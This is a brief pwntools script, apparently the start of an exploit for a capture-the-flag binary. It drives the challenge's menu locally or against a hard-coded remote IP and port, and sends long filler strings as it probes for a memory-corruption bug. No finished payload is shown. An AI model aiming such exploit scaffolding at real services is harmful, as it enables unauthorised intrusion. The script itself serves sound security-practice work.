#!/usr/bin/env python
from pwn import *

context.log_level = 'debug'
DEBUG=1
if DEBUG:
	p = process("./bin/flag")
else:
	ip = "202.120.7.114"
	port = 10102
	p = remote(ip, port)

def inputFlag(flag):
	p.recvuntil("Your choice: ")
	p.sendline('1')
	p.sendline(flag)
	p.recvuntil("Done")

def Leetify():
	p.recvuntil("Your choice: ")
	p.sendline('4')
	p.recvuntil("Done")

def exp():
	inputFlag('a'*100)
	raw_input("bp")
	inputFlag('b'*100)
	
	p.interactive()


exp()
